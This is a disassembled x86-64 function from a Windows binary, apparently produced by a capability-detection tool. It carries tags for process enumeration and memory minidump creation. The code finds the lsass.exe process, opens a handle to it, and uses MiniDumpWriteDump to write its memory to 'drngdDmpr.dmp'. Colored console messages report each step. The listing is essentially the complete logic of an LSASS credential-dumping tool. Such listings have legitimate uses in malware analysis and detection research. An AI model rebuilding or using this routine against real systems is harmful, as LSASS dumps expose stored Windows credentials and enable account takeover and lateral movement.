Function at 0x140001430
Capabilities:
Create process memory minidump
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x2b0
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x2a0], rax
xor edx, edx
mov dword [rsp + 0x40], 0x238
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rcx, rax
lea rdx, [rsp + 0x40]
mov r14, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
cmp eax, 1
jne 0x140001758
movabs r12, 0x7ffffffffffffffe
xor r15d, r15d
movabs r13, 0x7fffffffffffffff
xorps xmm0, xmm0
lea rax, [rsp + 0x6c]
movups xmmword [rsp + 0x280], xmm0
mov ecx, 0xa
mov rdi, 0xffffffffffffffff
inc rdi
cmp word [rax + rdi*2], r15w
jne 0x1400014c1
cmp rdi, r12
ja 0x140001815
cmp rdi, 8
jae 0x14000152d
lea rbx, [rdi + rdi]
mov qword [rsp + 0x290], rdi
mov r8, rbx
mov qword [rsp + 0x298], 7
lea rdx, [rsp + 0x6c]
lea rcx, [rsp + 0x280]
call sub.VCRUNTIME140.dll_memcpy
mov word [rsp + rbx + 0x280], r15w
mov rbp, qword [rsp + 0x298]
mov rdi, qword [rsp + 0x290]
mov rsi, qword [rsp + 0x280]
jmp 0x1400015d6
mov rbp, rdi
or rbp, 7
cmp rbp, r12
jbe 0x140001546
mov rbp, r12
lea rcx, [r13*2]
jmp 0x140001567
cmp rbp, 0xa
cmovb rbp, rcx
lea rcx, [rbp + 1]
cmp rcx, r13
ja 0x14000180f
add rcx, rcx
cmp rcx, 0x1000
jb 0x140001593
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000180f
mov rcx, rax
call fcn.1400018b0
test rax, rax
je 0x140001808
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x1400015a5
test rcx, rcx
je 0x1400015a2
call fcn.1400018b0
mov rsi, rax
jmp 0x1400015a5
mov rsi, r15
lea rbx, [rdi + rdi]
mov qword [rsp + 0x280], rsi
mov r8, rbx
mov qword [rsp + 0x290], rdi
lea rdx, [rsp + 0x6c]
mov qword [rsp + 0x298], rbp
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov word [rbx + rsi], r15w
cmp rbp, 8
lea r8, [rsp + 0x280]
cmovae r8, rsi
cmp rdi, 9
jne 0x140001707
lea rbx, str.lsass.exe
mov rdx, rdi
mov rax, rbx
sub r8, rbx
movzx ecx, word [rax]
cmp word [r8 + rax], cx
jne 0x140001707
add rax, 2
sub rdx, 1
jne 0x140001600
lea rcx, str.e_0_32m__e_0_37m_got_lsass_pid_n
call fcn.140001010
mov edx, dword [rsp + 0x48]
lea rcx, str.e_0_34m__e_0_37m_lsass_pid___ld__n
call fcn.140001010
mov qword [rsp + 0x30], r15
lea rcx, str.drngdDmpr.dmp
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x10000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
lea rcx, str.e_0_32m__e_0_37m_created_handle_for_outfile_n
mov rbx, rax
call fcn.140001010
mov rdx, rbx
lea rcx, str.e_0_34m__e_0_37m_handle_0x_p_n
call fcn.140001010
mov r8d, dword [rsp + 0x48]
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x1400017ad
mov edx, dword [rsp + 0x48]
lea rcx, str.e_0_32m__e_0_37m_got_handle_on_lsass___ld__n
call fcn.140001010
mov rdx, rdi
lea rcx, str.e_0_34m__e_0_37m_handle:_0x_p_n
call fcn.140001010
mov edx, dword [rsp + 0x48]
mov r9d, 2
mov qword [rsp + 0x30], r15
mov r8, rbx
mov qword [rsp + 0x28], r15
mov rcx, rdi
mov qword [rsp + 0x20], r15
call qword [sym.imp.dbghelp.dll_MiniDumpWriteDump]
test eax, eax
je 0x14000178e
lea rcx, str.e_0_32m__e_0_37m_successfully_dumped_lsass_to_drngdDmpr.dmp_n
call fcn.140001010
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp rbp, 8
jb 0x140001742
lea rdx, [rbp*2 + 2]
mov rax, rsi
cmp rdx, 0x1000
jb 0x14000173a
mov rsi, qword [rsi - 8]
add rdx, 0x27
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001808
mov rcx, rsi
call fcn.1400018ec
lea rdx, [rsp + 0x40]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400014a5
mov eax, 1
mov rcx, qword [rsp + 0x2a0]
xor rcx, rsp
call fcn.140001890
lea r11, [rsp + 0x2b0]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.e_0_31m___e_0_37m_failed_to_dump_lsass__error__ld_n
call fcn.140001010
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400017c1
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.e_0_31m___e_0_37m_failed_to_open_handle_on_lsass__error__ld_n
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp rbp, 8
jb 0x140001801
lea rdx, [rbp*2 + 2]
mov rax, rsi
cmp rdx, 0x1000
jb 0x1400017f9
mov rsi, qword [rsi - 8]
add rdx, 0x27
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001808
mov rcx, rsi
call fcn.1400018ec
xor eax, eax
jmp 0x14000175d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001170
int3
call fcn.140001210
int3